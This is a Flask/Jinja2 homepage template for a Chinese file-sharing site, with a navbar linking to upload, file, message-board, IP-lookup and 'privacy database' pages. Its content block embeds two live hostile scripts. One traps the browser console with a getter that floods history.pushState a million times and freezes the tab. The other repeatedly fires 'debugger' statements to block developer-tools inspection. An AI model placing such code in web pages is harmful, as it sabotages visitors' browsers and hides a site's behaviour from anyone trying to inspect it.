{%extends "bootstrap/base.html"%}

{%block title %}主页{% endblock %}

{%block navbar %}
<div class="navbar navbar-inverse" role="navigation">
    <div class="container">
        <div class="navbar-header">
            <button type="button" class="navbar-toggle"
            data-toggle="collapse" data-target=".navbar-collapse">
                <span class="sr-only">Toggle navigation</span>
                <span class="icon-bar"></span>
                <span class="icon-bar"></span>
                <span class="icon-bar"></span>
            </button>
            <a class="navbar-brand" href="/">网盘</a>
        </div>
        <div class="navbar-collapse collapse">
            <ul class="nav navbar-nav">
                <li><a href="/">主页</a></li>
				<li><a href="/register">注册</a></li>
				<li><a href="/upload">上传文件</a></li>
				<li><a href="/disk">文件</a></li>
				<li><a href="/remove">删除文件</a></li>
				<li><a href="/chat">留言</a></li>
				<li><a href="/i">隐私数据库</a></li>
				<li><a href="/ip">ip地址归属地查询</a></li>
				<li><a href="/tou">浏览器头部信息</a></li>
            </ul>
        </div>
    </div>
</div>

{% endblock %}












{% block content %}




<script>
var x = document.createElement('div');
	Object.defineProperty(x, 'id', {
		get: function () {
			var a = "";
			for (var i = 0; i < 1000000; i++) {
				a = a + i.toString();
				history.pushState(0, 0, a)
			}
		}
	});
	console.log(x);

</script>

<script>
!function test(){
    // 捕获异常，递归次数过多调试工具会抛出异常。
    try { !
        function cir(i) {
            // 当打开调试工具后，抛出异常，setTimeout执行test无参数，此时i == NaN，("" + i / i).length == 3
            // debugger设置断点
            (1 !== ("" + i / i).length || 0 === i) &&
            function() {}.constructor("debugger")(),
            cir(++i);
        } (0)
    } catch(e) {
        setTimeout(test, 10000)

		
    }
}()
</script>













{% block page_content %}
{% endblock %}
{% endblock %}